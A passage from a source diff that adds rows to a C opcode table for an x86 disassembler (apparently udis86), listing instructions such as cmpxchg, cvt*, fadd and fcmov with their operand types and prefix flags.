O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0118 */ { UD_Ivcmpsd, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0119 */ { UD_Icmpsq, O_NONE, O_NONE, O_NONE, O_NONE, P_strz|P_oso|P_rexw|P_seg }, + /* 0120 */ { UD_Icmpss, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0121 */ { UD_Ivcmpss, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0122 */ { UD_Icmpxchg, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0123 */ { UD_Icmpxchg, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0124 */ { UD_Icmpxchg8b, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0125 */ { UD_Icmpxchg8b, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0126 */ { UD_Icmpxchg16b, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0127 */ { UD_Icomisd, O_Vsd, O_Wsd, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0128 */ { UD_Ivcomisd, O_Vsd, O_Wsd, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0129 */ { UD_Icomiss, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0130 */ { UD_Ivcomiss, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0131 */ { UD_Icpuid, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0132 */ { UD_Icvtdq2pd, O_V, O_Wdq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0133 */ { UD_Ivcvtdq2pd, O_Vx, O_Wdq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0134 */ { UD_Icvtdq2ps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0135 */ { UD_Ivcvtdq2ps, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0136 */ { UD_Icvtpd2dq, O_Vdq, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0137 */ { UD_Ivcvtpd2dq, O_Vdq, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0138 */ { UD_Icvtpd2pi, O_P, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0139 */ { UD_Icvtpd2ps, O_Vdq, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0140 */ { UD_Ivcvtpd2ps, O_Vdq, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0141 */ { UD_Icvtpi2ps, O_V, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0142 */ { UD_Icvtpi2pd, O_V, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0143 */ { UD_Icvtps2dq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0144 */ { UD_Ivcvtps2dq, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0145 */ { UD_Icvtps2pd, O_V, O_Wdq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0146 */ { UD_Ivcvtps2pd, O_Vx, O_Wdq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0147 */ { UD_Icvtps2pi, O_P, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0148 */ { UD_Icvtsd2si, O_Gy, O_MqU, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0149 */ { UD_Ivcvtsd2si, O_Gy, O_MqU, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0150 */ { UD_Icvtsd2ss, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0151 */ { UD_Ivcvtsd2ss, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0152 */ { UD_Icvtsi2sd, O_V, O_Ey, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0153 */ { UD_Ivcvtsi2sd, O_Vx, O_Hx, O_Ey, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0154 */ { UD_Icvtsi2ss, O_V, O_Ey, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0155 */ { UD_Ivcvtsi2ss, O_Vx, O_Hx, O_Ey, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0156 */ { UD_Icvtss2sd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0157 */ { UD_Ivcvtss2sd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0158 */ { UD_Icvtss2si, O_Gy, O_MdU, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0159 */ { UD_Ivcvtss2si, O_Gy, O_MdU, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0160 */ { UD_Icvttpd2dq, O_Vdq, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0161 */ { UD_Ivcvttpd2dq, O_Vdq, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0162 */ { UD_Icvttpd2pi, O_P, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0163 */ { UD_Icvttps2dq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0164 */ { UD_Ivcvttps2dq, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0165 */ { UD_Icvttps2pi, O_P, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0166 */ { UD_Icvttsd2si, O_Gy, O_MqU, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0167 */ { UD_Ivcvttsd2si, O_Gy, O_MqU, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0168 */ { UD_Icvttss2si, O_Gy, O_MdU, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0169 */ { UD_Ivcvttss2si, O_Gy, O_MdU, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0170 */ { UD_Icwd, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0171 */ { UD_Icdq, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0172 */ { UD_Icqo, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0173 */ { UD_Idaa, O_NONE, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 0174 */ { UD_Idas, O_NONE, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 0175 */ { UD_Idec, O_R0z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0176 */ { UD_Idec, O_R1z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0177 */ { UD_Idec, O_R2z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0178 */ { UD_Idec, O_R3z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0179 */ { UD_Idec, O_R4z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0180 */ { UD_Idec, O_R5z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0181 */ { UD_Idec, O_R6z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0182 */ { UD_Idec, O_R7z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0183 */ { UD_Idec, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0184 */ { UD_Idec, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0185 */ { UD_Idiv, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0186 */ { UD_Idiv, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0187 */ { UD_Idivpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0188 */ { UD_Ivdivpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0189 */ { UD_Idivps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0190 */ { UD_Ivdivps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0191 */ { UD_Idivsd, O_V, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0192 */ { UD_Ivdivsd, O_Vx, O_Hx, O_MqU, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0193 */ { UD_Idivss, O_V, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0194 */ { UD_Ivdivss, O_Vx, O_Hx, O_MdU, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0195 */ { UD_Idppd, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0196 */ { UD_Ivdppd, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0197 */ { UD_Idpps, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0198 */ { UD_Ivdpps, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0199 */ { UD_Iemms, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0200 */ { UD_Ienter, O_Iw, O_Ib, O_NONE, O_NONE, P_def64 }, + /* 0201 */ { UD_Iextractps, O_MdRy, O_V, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0202 */ { UD_Ivextractps, O_MdRy, O_Vx, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0203 */ { UD_If2xm1, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0204 */ { UD_Ifabs, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0205 */ { UD_Ifadd, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0206 */ { UD_Ifadd, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0207 */ { UD_Ifadd, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0208 */ { UD_Ifadd, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0209 */ { UD_Ifadd, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0210 */ { UD_Ifadd, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0211 */ { UD_Ifadd, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0212 */ { UD_Ifadd, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0213 */ { UD_Ifadd, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0214 */ { UD_Ifadd, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0215 */ { UD_Ifadd, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0216 */ { UD_Ifadd, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0217 */ { UD_Ifadd, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0218 */ { UD_Ifadd, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0219 */ { UD_Ifadd, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0220 */ { UD_Ifadd, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0221 */ { UD_Ifadd, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0222 */ { UD_Ifadd, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0223 */ { UD_Ifaddp, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0224 */ { UD_Ifaddp, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0225 */ { UD_Ifaddp, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0226 */ { UD_Ifaddp, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0227 */ { UD_Ifaddp, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0228 */ { UD_Ifaddp, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0229 */ { UD_Ifaddp, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0230 */ { UD_Ifaddp, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0231 */ { UD_Ifbld, O_Mt, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0232 */ { UD_Ifbstp, O_Mt, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0233 */ { UD_Ifchs, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0234 */ { UD_Ifclex, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0235 */ { UD_Ifcmovb, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0236 */ { UD_Ifcmovb, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0237 */ { UD_Ifcmovb, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0238 */ { UD_Ifcmovb, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0239 */ { UD_Ifcmovb, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0240 */ { UD_Ifcmovb, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0241 */ { UD_Ifcmovb, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0242 */ { UD_Ifcmovb, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0243 */ { UD_Ifcmove, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0244 */ { UD_Ifcmove, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0245 */ { UD_Ifcmove, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0246 */ { UD_Ifcmove, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0247 */ { UD_Ifcmove, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0248 */ { UD_Ifcmove, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0249 */ { UD_Ifcmove, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0250 */ { UD_Ifcmove, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0251 */ { UD_Ifcmovbe, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0252 */ { UD_Ifcmovbe, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0253 */ { UD_Ifcmovbe, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0254 */ { UD_Ifcmovbe, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0255 */ { UD_Ifcmovbe, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0256 */ { UD_Ifcmovbe, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0257 */ { UD_Ifcmovbe, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0258 */ { UD_Ifcmovbe, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0259 */ { UD_Ifcmovu, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0260 */ { UD_Ifcmovu, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0261 */ { UD_Ifcmovu, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0262 */ { UD_Ifcmovu, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0263 */ { UD_Ifcmovu, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0264 */ { UD_Ifcmovu, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0265 */ { UD_Ifcmovu, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0266 */ { UD_Ifcmovu, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0267 */ { UD_Ifcmovnb, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0268 */ { UD_Ifcmovnb, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0269 */ { UD_Ifcmovnb, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0270 */ { UD_Ifcmovnb, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0271 */ { UD_Ifcmovnb, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0272 */ { UD_Ifcmovnb, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0273 */ { UD_Ifcmovnb, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0274 */ { UD_Ifcmovnb, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0275 */ { UD_Ifcmovne, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0276 */ { UD_Ifcmovne, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0277 */ { UD_Ifcmovne, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0278 */ { UD_Ifcmovne, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0279 */ { UD_Ifcmovne, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0280 */ { UD_Ifcmovne, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0281 */ { UD_Ifcmovne, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0282 */ { UD_Ifcmovne, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0283 */ { UD_Ifcmovnbe, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0284 */ { UD_Ifcmovnbe, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0285 */ { UD_Ifcmovnbe, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0286 */ { UD_Ifcmovnbe, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0287 */ { UD_Ifcmovnbe, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0288 */ { UD_Ifcmovnbe, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0289 */ { UD_Ifcmovnbe, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0290 */ { UD_Ifcmovnbe, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0291 */ { UD_Ifcmovnu, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0292 */ { UD_Ifcmovnu, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0293 */ { UD_Ifcmovnu, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0294 */ { UD_Ifcmovnu, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0295 */ { UD_Ifcmovnu, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0296 */ { UD_Ifcmovnu, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0297 */ { UD_Ifcmovnu, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0298 */ { UD_Ifcmovnu, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0299 */ { UD_Ifucomi, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0300 */ { UD_Ifucomi, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0301 */ { UD_Ifucomi, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0302 */ { UD_Ifucomi, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0303 */ { UD_Ifucomi, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0304 */ { UD_Ifucomi, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0305 */ { UD_Ifucomi, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0306 */ { UD_Ifucomi, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0307 */ { UD_Ifcom, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0308 */ { UD_Ifcom, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0309 */ { UD_Ifcom, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0310 */ { UD_Ifcom, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0311 */ { UD_Ifcom, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0312 */ { UD_Ifcom, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0313 */ { UD_Ifcom, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0314 */ { UD_Ifcom, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0315 */ { UD_Ifcom, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0316 */ { UD_Ifcom, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0317 */ { UD_Ifcom2, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0318 */ { UD_Ifcom2, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0319 */ { UD_Ifcom2, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0320 */ { UD_Ifcom2, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0321 */ { UD_Ifcom2, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0322 */ { UD_Ifcom2, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0323 */ { UD_Ifcom2, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0324 */ { UD_Ifcom2, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0325 */ { UD_Ifcomp3, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0326 */ { UD_Ifcomp3, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0327 */ { UD_Ifcomp3, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0328 */ { UD_Ifcomp3, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0329 */ { UD_Ifcomp3, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0330 */ { UD_Ifcomp3, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0331 */ { UD_Ifcomp3, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0332 */ { UD_Ifcomp3, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0333 */ { UD_Ifcomi, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0334 */ { UD_Ifcomi, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0335 */ { UD_Ifcomi, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0336 */ { UD_Ifcomi, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0337 */ { UD_Ifcomi, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0338 */ { UD_Ifcomi, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0339 */ { UD_Ifcomi, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0340 */ { UD_Ifcomi, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0341 */ { UD_Ifucomip, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0342 */ { UD_Ifucomip, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0343 */ { UD_Ifucomip, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0344 */ { UD_Ifucomip, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0345 */ { UD_Ifucomip, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0346 */ { UD_Ifucomip, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0347 */ { UD_Ifucomip, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0348 */ { UD_Ifucomip, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0349 */ { UD_Ifcomip, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0350 */ { UD_Ifcomip, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0351 */ { UD_Ifcomip, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0352 */ { UD_Ifcomip, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0353 */ { UD_Ifcomip, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0354 */ { UD_Ifcomip, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0355 */ { UD_Ifcomip, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0356 */ { UD_Ifcomip, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0357 */ { UD_Ifcomp, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0358 */ { UD_Ifcomp, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0359 */ { UD_Ifcomp, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0360 */ { UD_Ifcomp, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0361 */ { UD_Ifcomp, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0362 */ { UD_Ifcomp, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0363 */ { UD_Ifcomp, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0364 */ { UD_Ifcomp, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0365 */ { UD_Ifcomp, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0366 */ { UD_Ifcomp, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0367 */ { UD_Ifcomp5, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0368 */ { UD_Ifcomp5, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0369 */ { UD_Ifcomp5, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0370 */ { UD_Ifcomp5, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0371 */ { UD_Ifcomp5, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0372 */ { UD_Ifcomp5, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0373 */ { UD_Ifcomp5, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0374 */ { UD_Ifcomp5, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0375 */ { UD_Ifcompp, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0376 */ { UD_Ifcos, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0377 */ { UD_Ifdecstp, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0378 */ { UD_Ifdiv, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0379 */ { UD_Ifdiv, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0380 */ { UD_Ifdiv, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0381 */ { UD_Ifdiv, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0382 */ { UD_Ifdiv, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0383 */ { UD_Ifdiv, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0384 */ { UD_Ifdiv, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0385 */ { UD_Ifdiv, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0386 */ { UD_Ifdiv, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0387 